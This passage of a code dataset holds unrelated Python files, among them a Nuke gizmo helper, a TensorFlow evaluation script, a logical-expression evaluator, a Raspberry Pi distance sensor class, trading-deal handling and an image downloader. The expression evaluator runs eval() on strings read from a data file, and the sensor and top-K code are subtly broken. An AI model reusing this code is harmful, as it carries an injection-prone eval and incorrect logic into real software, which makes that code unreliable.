{}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_papacy.py","file_name":"_papacy.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"371569900","text":"# -------------------------------------------------------------------------- #\n# ---------------------------------------------------------------- HEADER -- #\n\"\"\"\n@copyright: 2018 Kludgeworks LLC\n\n@description: functions for the pointMatte gizmo\n\n@author: Ed Whetstone\n\n@applications: NUKE\n\"\"\"\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- IMPORTS -- #\n\n# internal\nfrom vfx_utils.plutonium.core import decorators\nfrom vfx_utils.plutonium.core import crawl\nfrom vfx_utils.plutonium.core import move\nfrom vfx_utils.plutonium.core import filters\n\nimport vfx_utils.omni.metrics as metrics\n\n# domain\nimport nuke\n\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- GLOBALS -- #\nVERSION = '3.1'\nDEBUG_VERSION = '3.1.1'\n\nAPP_NAME = \"gizmo_pointMatte\"\n\nmetrics.log_usage(APP_NAME)\n\n# -------------------------------------------------------------------------- #\n# ------------------------------------------------------------- FUNCTIONS -- #\n@decorators.this_node\ndef add_point(node=None):\n \"\"\"add a pointmatte to the gizmo\"\"\"\n with node:\n\n # ------------------- Setup ---------------------------------- #\n builder = nuke.toNode('builder_dot')\n start_position = crawl.up(builder)[0]\n point_nodes = [int(n.name()[-1]) for n\n in filters.by_class(key='pointMatte')]\n point_num = (max(point_nodes) + 1) if point_nodes else 1\n prefix = 'point_{}'.format(point_num)\n\n # ------------------- Create Nodes --------------------------- #\n point_matte = nuke.nodes.rfxPointMatte()\n point_matte.setName(prefix)\n merge_points = nuke.nodes.Merge2(operation='plus')\n merge_points.setName(prefix + '_merge')\n\n # ------------------- Move Into Position --------------------- #\n move.left(point_matte, start_position)\n move.under(merge_points, start_position)\n\n # ------------------- Set Up Connections --------------------- #\n point_matte.setInput(0, start_position)\n merge_points.setInput(0, start_position)\n merge_points.setInput(1, point_matte)\n builder.setInput(0, merge_points)\n\n # ------------------- Knobs and Expressions ------------------ #\n knoblist = ['hr', 'Position_value', 'Position_dropper', 'type', 'hr',\n 'rotate_TXT', 'xSlider', 'ySlider', 'zSlider', 'hr',\n 'scale_TXT', 'overall_scale', 'scale_x', 'scale_y',\n 'scale_z', 'hr', 'feather', 'hr', 'Gamma1_value', 'hr',\n 'massage', 'hr']\n new_tab = nuke.Tab_Knob('_'.join((prefix, 'controls')))\n node.addKnob(new_tab)\n merge_op_knob = nuke.Link_Knob('_'.join((prefix, 'merge_op')))\n merge_op_knob.setLink(merge_points.name() + '.operation')\n merge_op_knob.setLabel('operation')\n node.addKnob(merge_op_knob)\n merge_mix_knob = nuke.Link_Knob('_'.join((prefix, 'merge_mix')))\n merge_mix_knob.setLink(merge_points.name() + '.mix')\n merge_mix_knob.setLabel('mix')\n node.addKnob(merge_mix_knob)\n for k in knoblist:\n if k == 'hr':\n knob = nuke.Text_Knob('')\n knob.setName('_'.join((prefix, 'hr')))\n knob.setLabel('')\n else:\n knob = nuke.Link_Knob('_'.join((prefix, k)))\n knob.setLink('.'.join((point_matte.name(), k)))\n knob.setLabel(point_matte[k].label())\n if k == 'massage':\n knob.setLabel(k)\n node.addKnob(knob)\n del_button = nuke.PyScript_Knob('_'.join((prefix, 'del')))\n del_button.setLabel('Remove Point')\n del_button.setValue('from vfx_utils.plutonium.gizmos import pointmatte\\n'\n 'pointmatte.delete_point(point_num={})\\n'\n ''.format(point_num))\n node.addKnob(del_button)\n\n@decorators.this_node\ndef delete_point(node=None, point_num=1):\n \"\"\"remove a point that was previously added\"\"\"\n with node:\n prefix = 'point_{}'.format(point_num)\n rm_nodes = [n for n in nuke.allNodes() if prefix in n.name()]\n for rmn in rm_nodes:\n nuke.delete(rmn)\n rm_knobs = [knob for knob in node.allKnobs() if prefix in knob.name()]\n for rmk in rm_knobs:\n node.removeKnob(rmk)\n\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- CLASSES -- #\n","sub_path":"plutonium/gizmos/pointmatte.py","file_name":"pointmatte.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"638978378","text":"import tensorflow as tf\nfrom inception_resnet_v2 import inception_resnet_v2, inception_resnet_v2_arg_scope\nimport os\nimport read_image\ntrain_image_size = 299\nCHANAL = 3\nclassnum = 8\n\nslim = tf.contrib.slim\nwith tf.name_scope('input'):\n x_input = tf.placeholder(dtype=tf.float32, shape=[None, train_image_size, train_image_size, CHANAL])\n y_input = tf.placeholder(dtype=tf.float32, shape=[None, classnum])\nwith tf.name_scope('model'):\n with slim.arg_scope(inception_resnet_v2_arg_scope()):\n logits, end_points = inception_resnet_v2(x_input, classnum, is_training=False)\nwith tf.name_scope('accuracy'):\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.arg_max(y_input, 1), tf.arg_max(end_points['Predictions'], 1)), tf.float32))\n\n\nwith tf.name_scope('input_val_image'):\n test_file_path = os.path.join('F:/alicloth/base/trceshi/coat_length_labels/validation/validation_00000.tfrecords')\n test_image_filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(test_file_path))\n test_images, test_labels = read_image.read_val_tfrecord(test_image_filename_queue, classnum, 10)\n\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n sess.run(tf.local_variables_initializer())\n ckpt = tf.train.get_checkpoint_state('F:/alicloth/base/trained_model/coat')\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n print(\"restored %s\" % ckpt.model_checkpoint_path)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n acc_mun = 0\n ia = 0\n for i in range(int(1133/10)):\n testimages, testlabels = sess.run([test_images, test_labels])\n acu, pro = sess.run([accuracy, end_points['Predictions']], feed_dict={x_input: testimages, y_input: testlabels})\n acc_mun += acu\n print(acu)\n print(pro)\n ia += 1\n print(acc_mun/ia)\n coord.request_stop()\n coord.join(threads)","sub_path":"mainval.py","file_name":"mainval.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"236917276","text":"\ndef permutations(s):\n lst = list(s)\n return permutations2(lst, 0, len(lst)-1)\n\ndef permutations2(s, start, end):\n rtn = []\n if start == end: \n return [''.join(s)]\n else: \n for i in range(start, end+1):\n s[start], s[i] = s[i], s[start]\n for p in permutations2(s, start+1, end): \n rtn.append(p)\n s[start], s[i] = s[i], s[start]\n return rtn\n \nprint(permutations('ABC'))","sub_path":"permutations2.py","file_name":"permutations2.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"567625608","text":"# 692. 前K个高频单词\nimport collections\n\n\nclass Solution:\n\n # 统计,然后维护一个最小堆\n def topKFrequent(self, words: list[str], k: int) -> list[str]:\n def minHeap(heap, k, word, w_map):\n if heap:\n temp = []\n while heap:\n w = heap.pop()\n if w_map.get(w) < w_map.get(word) or (w_map.get(w) == w_map.get(word) and word < w):\n temp.append(w)\n else:\n heap.append(w)\n heap.append(word)\n break\n if len(heap) == 0:\n heap.append(word)\n for i in temp[::-1]:\n heap.append(i)\n else:\n heap.append(word)\n while len(heap) > k:\n heap.pop()\n\n w_map = {}\n for w in words:\n if w not in w_map:\n w_map[w] = 0\n else:\n w_map[w] += 1\n res = collections.deque()\n for w in w_map.keys():\n minHeap(res, k, w, w_map)\n return list(res)\n\n\nif __name__ == '__main__':\n # print(Solution().topKFrequent([\"i\", \"love\", \"leetcode\", \"i\", \"love\", \"coding\"],3))\n print(Solution().topKFrequent([\"the\", \"day\", \"is\", \"sunny\", \"the\", \"the\", \"the\", \"sunny\", \"is\", \"is\"], 4))","sub_path":"answers/topKFrequent.py","file_name":"topKFrequent.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"318760926","text":"\n''' \n\t@synopsis - Entry point for Logical Expression Evaluator\n\t@author - Saurabh S.\n'''\n\nimport sys\nimport json\n# from pprint import pprint\nfrom argparse import Namespace\nfrom collections import namedtuple\nimport six\n\n\nOPERATORS = {'EQ','AND','NOT','OR','GT','LT'}\t\t\t# List of all supported operators\n\nUSER_DAT_FILE = \"data.json\"\t\t\t\t\t\t\t\t# Filename for User data\nOPDAT_FILE = \"opdat.json\"\t\t\t\t\t\t\t\t# Filename for operation data\n\n# Read the user data file and create named tuples allow Dot operation on python dictionary\n# instead of python dictionary based access\nwith open(USER_DAT_FILE, 'r') as myfile:\n data=json.load(myfile, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\n\n# Create user object for direct reference for the data read from user data json file\nuser = data[0].user\n\n\n\n# Read the operation data from file\nwith open(OPDAT_FILE) as dataFile: \n opData = json.load(dataFile)\n\n\n# Equals operator\n# Currently assumes the arguments passed are only a list of 2\ndef EQ(vals):\n\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Equals operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\treturn val1 == val2\n\n# Logical AND operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef AND(vals):\n\t# print(\"AND: \",execute(vals[0]),execute(vals[1]))\n\t# execute(vals[1])\n\t# return val1 and val2\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for AND operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 and val2\n\n# OR operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef OR (vals):\n\t# return val1 or val2\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for OR operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 or val2\n\n# NOT operator\n# Currently assumes the arguments passed are is list of 1 element\ndef NOT (vals):\n\tif len(vals) is not 1:\n\t\tprint(\"Invalid arguments for NOT operator\")\n\t\treturn False\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\n\treturn not val1\n\n# Greater Than operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef GT(vals):\n\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Greater Than operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 > val2\n\n# Less Than operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef LT(vals):\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Less Than operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 < val2\n\n\n# Parser function to evaluate an expression.\n# expr - Expression to evaluate\ndef execute(expr):\n\tresult = None\n\toperation = expr\n\n\t# If passed expression is a single element, add it to an empty list\n\tif type(operation) is not list: \n\t\toperation = [str(expr)]\n\n\t# if first element is in the list of operators\n\tif any(operation[0] in s for s in OPERATORS):\n\t\t# Use reflection to invoke the related expression\n\t\toperand = getattr(sys.modules[__name__],str(operation[0]))\n\t\tif hasattr(operand, '__call__'):\n\t\t\tresult = operand(operation[1:])\t\t# invoke the function with rest of arguments\n\telse:\t\t\t\t\t\t\t\t\t\t# else it is a list of argument\n\t\ttry:\n\t\t\toperand = eval(operation[0])\t\t# Check if argument can be evaluated, E.g. user.age\n\t\texcept:\n\t\t\toperand = operation[0]\t\t\t\t# If evaluation fails, then treat it as raw value\n\t\treturn operand\n\treturn result # return result of operand\n\n\n\n\n\nif __name__ == '__main__':\n\tprint(execute (opData))\n","sub_path":"python/logexopr/Logical expression evaluator/logExEvaluator.py","file_name":"logExEvaluator.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"551344631","text":"import socket\r\n\r\nHOST = '127.0.0.1' # The server's hostname or IP address\r\nPORT = 65432 # The port used by the server\r\n\r\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\nclient.connect((HOST, PORT))\r\nclient.sendall(b'Hello, world')\r\ndata = client.recv(1024)\r\n\r\nprint('Received', repr(data))","sub_path":"echo-client.py","file_name":"echo-client.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"393392870","text":"\"\"\"\n -*- coding: utf-8 -*-\n\n Copyright (C) 2019-2020 Deibson Carvalho (deibsoncarvalho)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see \n\"\"\"\nfrom pyiqoptionapi.ws.objects.base import Base\nfrom threading import RLock\nfrom _collections import defaultdict, deque\nimport pyiqoptionapi.helpers.constants as OP_code\nimport logging\nfrom functools import lru_cache\nfrom pyiqoptionapi.helpers.decorators import ThreadedMethod\n\n\nclass LiveDeals(Base):\n\n def __init__(self):\n super(LiveDeals, self).__init__()\n self._lock_all = RLock()\n self._lock_queue = RLock()\n self._all_deals = defaultdict(list)\n self._queue_live_deals = defaultdict(deque)\n\n @staticmethod\n @lru_cache(maxsize=64)\n def __get_active_name(active_id) -> str:\n \"\"\"Internal function for get active name by ID\n\n Retrieves string of active name.\n\n Args:\n active_id: (int) id of active\n\n Returns:\n A string For example: 'EURUSD'\n\n Raises:\n IndexError: An error occurred accessing the dict of Actives ID.\n \"\"\"\n actives = OP_code.ACTIVES\n try:\n return list(actives.keys())[list(actives.values()).index(active_id)]\n except IndexError:\n logging.error('get-active-name-by-id -> index error -> active_id: {}'.format(active_id))\n\n def get_all_deals(self, active) -> list:\n \"\"\"Function to return all registered trades for the specified asset for the current session\n\n Returns a list containing a dict with the registered trade data.\n\n Args:\n active: (string) id of active\n\n Returns:\n A list of dict with keys: 'active_id', 'amount_enrolled', 'avatar', 'country_id',\n 'created_at', 'direction', 'expiration', 'flag', 'is_big', 'name', 'option_id', 'option_type',\n 'user_id', 'brand_id'.\n\n For example:\n\n [{'active_id': 1, 'amount_enrolled': 6.0, 'avatar': '', 'country_id': 205, 'created_at': 1597403952000,\n 'direction': 'call', 'expiration': 1597404000000, 'flag': 'AE', 'is_big': False,\n 'name': 'Obaid S. O. H. A.', 'option_id': 7190473575, 'option_type': 'turbo', 'user_id': 7262400,\n 'brand_id': 1},\n {'active_id': 1, 'amount_enrolled': 35.0, 'avatar': '', 'country_id': 180,\n 'created_at': 1597403952000, 'direction': 'call', 'expiration': 1597404000000, 'flag': 'ZA',\n 'is_big': False, 'name': 'Ephraim G.', 'option_id': 7190473547, 'option_type': 'turbo', 'user_id': 12590610,\n 'brand_id': 1}]\n\n Raises:\n KeyError: An error occurred accessing the dict of deals. Invalid active or not registed deals for\n current session\n \"\"\"\n try:\n with self._lock_all:\n return self._all_deals[active]\n except KeyError:\n logging.error('asset {} invalid'.format(active))\n return []\n\n def get_live_deals(self, active, buffer) -> deque:\n \"\"\"Function to return all registered trades for the specified asset for the current session\n\n Returns a deque containing a dict of live deals returned of IQ Option server\n\n Args:\n active: (string) name of active\n buffer: (int) number of return deals for call\n\n Returns:\n A deque of dict with keys:\n\n Binary or Turbo: 'active_id', 'amount_enrolled', 'avatar', 'country_id',\n 'created_at', 'direction', 'expiration', 'flag', 'is_big', 'name', 'option_id', 'option_type',\n 'user_id', 'brand_id'.\n\n Digital: 'amount_enrolled','avatar','country_id','created_at', 'expiration_type','flag',\n 'instrument_active_id','instrument_dir', 'instrument_expiration','is_big','name','position_id',\n 'user_id','brand_id'.\n\n For example:\n\n Binary or Turbo:\n ({'active_id': 1, 'amount_enrolled': 6.0, 'avatar': '', 'country_id': 205,\n 'created_at': 1597403952000, 'direction': 'call', 'expiration': 1597404000000, 'flag': 'AE',\n 'is_big': False, 'name': 'Obaid S. O. H. A.', 'option_id': 7190473575, 'option_type': 'turbo',\n 'user_id': 7262400, 'brand_id': 1})\n\n Digital:\n ({\"amount_enrolled\":6.0,\"avatar\":\"\",\"country_id\":30,\"created_at\":1597413960301,\n \"expiration_type\":\"PT1M\",\"flag\":\"BR\",\"instrument_active_id\":1,\"instrument_dir\":\"put\",\n \"instrument_expiration\":1597414020000,\"is_big\":true,\"name\":\"William O.\",\"position_id\":12004821753,\n \"user_id\":76200274,\"brand_id\":1})\n\n Raises:\n KeyError: An error occurred accessing the dict of deals. Invalid active or not registed deals for\n current session\n \"\"\"\n response = deque()\n try:\n total = len(self._queue_live_deals[active])\n except KeyError:\n logging.error('asset {} invalid'.format(active))\n return response\n if total == 0:\n return response\n for _ in range(buffer if total > buffer > 0 else total):\n with self._lock_queue:\n deal = self._queue_live_deals[active].pop()\n response.appendleft(deal)\n with self._lock_all:\n self._all_deals[active].append(deal)\n return response\n\n @ThreadedMethod\n def set_live_deals(self, message):\n \"\"\" get new deals of websocket client \"\"\"\n try:\n if 'option_type' in message.keys():\n # binary or turbo\n active_name = self.__get_active_name(message[\"active_id\"])\n else:\n # digital\n active_name = self.__get_active_name(message[\"instrument_active_id\"])\n with self._lock_queue:\n self._queue_live_deals[active_name].append(message)\n except KeyError:\n logging.error('set-live-deals -> invalid message -> {}'.format(message))\n","sub_path":"pyiqoptionapi/ws/objects/live_deals.py","file_name":"live_deals.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"575883684","text":"import RPI.GPIO as GPIO\nimport time\n\nclass distanceSensor:\n def __init__(self, TRIGGER, ECHO):\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n self.GPIO_TRIGGER = TRIGGER\n self.GPIO_ECHO = ECHO\n\n GPIO.setup(self.GPIO_TRIGGER, GPIO.OUT)\n GPIO.setup(self.GPIO_ECHO, GPIO.IN)\n\n def getDistance(self):\n GPIO.output(self.GPIO_TRIGGER, True)\n time.sleep(0.00001)\n GPIO.output(self.GPIO_TRIGGER, False)\n\n startTime = time.time()\n stopTime = time.time()\n\n while GPIO.input(self.GPIO_ECHO) == 0:\n startTime = time.time()\n if stopTime - startTime > 1:\n break\n\n timeElasped = stopTime - startTime\n distance = (timeElasped * 34300) / 2\n\n if distance < 0 or distance > 1000:\n return 0\n return distance","sub_path":"Hexapod_AI/distanceSensor.py","file_name":"distanceSensor.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"110109634","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nTest cases for filename deconstruction\n\n\ntestsuite by Jerome Kieffer (Jerome.Kieffer@esrf.eu)\n28/11/2014\n\"\"\"\nfrom __future__ import print_function, with_statement, division, absolute_import\nimport unittest\nimport sys\nimport os\n\ntry:\n from .utilstest import UtilsTest\nexcept (ValueError, SystemError):\n from utilstest import UtilsTest\n\nlogger = UtilsTest.get_logger(__file__)\nfabio = sys.modules[\"fabio\"]\n\nCASES = [\n (1, 'edf', \"data0001.edf\"),\n (10001, 'edf', \"data10001.edf\"),\n (10001, 'edf', \"data10001.edf.gz\"),\n (10001, 'edf', \"data10001.edf.bz2\"),\n (2, 'marccd', \"data0002.mccd\"),\n (12345, 'marccd', \"data12345.mccd\"),\n (10001, 'marccd', \"data10001.mccd.gz\"),\n (10001, 'marccd', \"data10001.mccd.bz2\"),\n (123, 'marccd', \"data123.mccd.gz\"),\n (3, 'tif', \"data0003.tif\"),\n (4, 'tif', \"data0004.tiff\"),\n (12, 'bruker', \"sucrose101.012.gz\"),\n (99, 'bruker', \"sucrose101.099\"),\n (99, 'bruker', \"sucrose101.0099\"),\n (99, 'bruker', \"sucrose101.0099.bz2\"),\n (99, 'bruker', \"sucrose101.0099.gz\"),\n (2, 'fit2dmask', \"fit2d.msk\"),\n (None, 'fit2dmask', \"mymask.msk\"),\n (670005, 'edf', 'S82P670005.edf'),\n (670005, 'edf', 'S82P670005.edf.gz'),\n # based on only the name it can be either img or oxd\n (1 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_001.img'),\n (2 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_002.img.gz'),\n (3 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_003.img.bz2'),\n (3 , 'adsc_or_OXD_or_HiPiC_or_raxis' , os.path.join(\"data\", 'mb_LP_1_003.img.bz2')),\n ]\n\n\nMORE_CASES = [\n (\"data0010.edf\", \"data0012.edf\", 10),\n (\"data1000.pnm\", \"data999.pnm\", 1000),\n (\"data0999.pnm\", \"data1000.pnm\", 999),\n (\"data123457.edf\", \"data123456.edf\", 123457),\n (\"d0ata000100.mccd\", \"d0ata000012.mccd\", 100),\n (os.path.join(\"images/sampledir\", \"P33S670003.edf\"),\n os.path.join(\"images/sampledir\", \"P33S670002.edf\"), 670003),\n (os.path.join(\"images/P33S67\", \"P33S670003.edf\"),\n os.path.join(\"images/P33S67\", \"P33S670002.edf\"), 670003),\n (\"image2301.mar2300\", \"image2300.mar2300\", 2301),\n (\"image2300.mar2300\", \"image2301.mar2300\", 2300),\n (\"image.0123\", \"image.1234\", 123),\n (\"mymask.msk\", \"mymask.msk\", None),\n (\"data_123.mccd.bz2\", \"data_001.mccd.bz2\", 123)\n ]\n\n\nclass TestFilenames(unittest.TestCase):\n \"\"\" check the name -> number, type conversions \"\"\"\n\n def test_many_cases(self):\n \"\"\" loop over CASES \"\"\"\n for num, typ, name in CASES:\n obj = fabio.FilenameObject(filename=name)\n self.assertEqual(num, obj.num, name + \" num=\" + str(num) + \\\n \" != obj.num=\" + str(obj.num))\n self.assertEqual(typ, \"_or_\".join(obj.format),\n name + \" \" + \"_or_\".join(obj.format))\n self.assertEqual(name, obj.tostring(), name + \" \" + obj.tostring())\n\n def test_more_cases(self):\n for nname, oname, num in MORE_CASES:\n name = fabio.construct_filename(oname, num)\n self.assertEqual(name, nname)\n\n def test_more_cases_jump(self):\n for nname, oname, num in MORE_CASES:\n name = fabio.jump_filename(oname, num)\n self.assertEqual(name, nname)\n\n\ndef test_suite_all_filenames():\n testSuite = unittest.TestSuite()\n\n testSuite.addTest(TestFilenames(\"test_many_cases\"))\n testSuite.addTest(TestFilenames(\"test_more_cases\"))\n testSuite.addTest(TestFilenames(\"test_more_cases_jump\"))\n\n return testSuite\n\nif __name__ == '__main__':\n\n mysuite = test_suite_all_filenames()\n runner = unittest.TextTestRunner()\n runner.run(mysuite)\n","sub_path":"test/testfilenames.py","file_name":"testfilenames.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"543245208","text":"import csv\nimport urllib\nimport urllib.request as ur\nfrom urllib.error import URLError, HTTPError\n\ndef extract_rows(sheet_data):\n lst = []\n for row in sheet_data:\n lst.append(row)\n return lst\n\ndef main(workbook,col1,col2,col3):\n rfile = open(workbook + '.csv', 'r')\n csv_read = csv.reader(rfile)\n wfile = open(workbook + '_new' + '.csv', 'w', newline='')\n csv_write = csv.writer(wfile)\n lst_of_rows = extract_rows(csv_read)\n lst_of_rows[0][col1] = \"\"\n lst_of_rows[0][col2] = \"\"\n lst_of_rows[0][col3] = \"\"\n csv_write.writerow(lst_of_rows[0])\n write_data(lst_of_rows[1:], csv_write, col1,col2,col3)\n rfile.close()\n wfile.close()\n print(\"Your New spreadsheet is ready under the name \" + workbook + \"_new.csv\")\n\ndef write_data(lor, wrt, c1, c2, c3):\r\n #print(lor[1])\n prefix = 0\n for rw in lor:\n prefix += 1\n lou = list(set([rw[c1], rw[c2], rw[c3]]))\n new_values = image_downloader(rw, lou, prefix)\n rw[7] = new_values[0]\r\n rw[8] = new_values[1]\n rw[c1] = \"\"\n rw[c2] = \"\"\n rw[c3] = \"\"\n wrt.writerow(rw)\n \ndef get_extension(s):\n indx = s.rfind(\".\")\n if indx == -1:\n print(\"No extension for \" + s)\n ext = \".EXTENTION\"\n else:\n ext = s[indx: indx + 4]\n if ext == \".jpe\":\n ext = \".jpeg\"\n return ext\n\ndef image_downloader(my_row, lst_of_url, main):\r\n sub = 0\r\n img_lst = []\n for u in lst_of_url:\n print(u)\n if u != \"\":\r\n sub += 1\n try:\n user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7'\n headers= {'User-Agent':user_agent,} \n r = ur.Request(u, None, headers) \n img = ur.urlopen(r)\n except urllib.error.URLError:\n print(my_row[4] + \" ==> \" + 'URL Not Working: ' + u)\n else:\n rename = str(main) + '-' + str(sub) + get_extension(u)\n f = open(rename,'wb')\n f.write(img.read())\n f.close()\r\n img_lst.append(rename)\r\n top_picture = ''\r\n for i in img_lst:\n print(i)\r\n top_picture = top_picture + \"; \" + i\n if img_lst != []:\r\n return [top_picture[2:], img_lst[0]]\n else:\n return [\"\",\"\"]\n","sub_path":"new version test 4.py","file_name":"new version test 4.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"250029080","text":"#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\n\"\"\"\n:Author: Guajajaras\n:Contact: `Guajajaras `__\n:Date: $Date: 2009/03/24$\n:Status: This is a \"work in progress\"\n:Revision: $Revision: 1.00$\n:Home: `LABASE `__\n:Copyright: ©2009, `GPL `__\n\"\"\"\n\nfrom visual import *\n\n'''\nClasse base de qualquer ser marinho\n'''\n \nclass SerMarinho():\n def __init__(self, escala= 5, **qualquel_outro_parametro):\n \"Construtor do ser marinho, definindo um esqueleto(frame) e desenhando\"\n self.esqueleto=frame(**qualquel_outro_parametro)\n self.desenha(escala)\n def desenha(self): pass\n'''\nEsta classe é uma especialização da classe SerMarinho...\n'''\nclass Traira(SerMarinho):\n def desenha(self, escala=1):\n s=escala\n cabeca01 = ellipsoid(frame = self.esqueleto, pos=(5*escala,escala,0), length=10*escala, height=9*escala, width=8*escala, color=color.green)\n cabeca02 = cone(frame = self.esqueleto, pos=(0,3*escala,0), axis=(6*escala,2*escala,0), radius=3*escala, color=color.green, opacity=1)\n boca = ring(frame = self.esqueleto, pos=(10*escala,escala,0), axis=(escala,0,0), radius=escala, thickness=0.5*escala, color=color.red)\n olho01 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,3*escala), radius=escala, opacity=0.5)\n olho02 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,3*escala), radius=.5*escala, color=color.black)\n olho11 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,-3*escala), radius=escala, opacity=.5)\n olho02 = sphere(frame = self.esqueleto, pos=(5*escala,4*escala,-3*escala), radius=.5*escala, color=color.black)\n corpo01 = sphere(frame = self.esqueleto, pos=(-1*escala,0,0), radius=6*escala, color = color.green, opacity=1)\n rabo1 = pyramid(frame = self.esqueleto, pos=(-12*escala,0,0), size=(12*escala,12*escala,.3*escala), color=color.green)\n rabo2 = pyramid(frame = self.esqueleto, pos=(-10*escala,0,2*escala), size=(6*escala,6*escala,.3*escala), axis=(1*escala,0,-0.4*escala), color=color.blue)\n rabo3 = pyramid(frame = self.esqueleto, pos=(-10*escala,0,-2*escala), size=(6*escala,6*escala,.3*escala), axis=(1*escala,0,0.4*escala), color=color.blue)\n dorsal1 = pyramid(frame = self.esqueleto, pos=(-4*escala,4*escala,0), size=(8*escala,15*escala,.3*escala), axis=(2*escala,.2*escala,0),color=color.green)\n peitoralBE = pyramid(frame = self.esqueleto, pos=(-2*escala,-1*escala,9*escala), size=(12*escala,6*escala,.3*escala), axis=(2*escala,.2*escala,-4*escala),color=color.blue)\n peitoralBB = pyramid(frame = self.esqueleto, pos=(-2*escala,-1*escala,-9*escala), 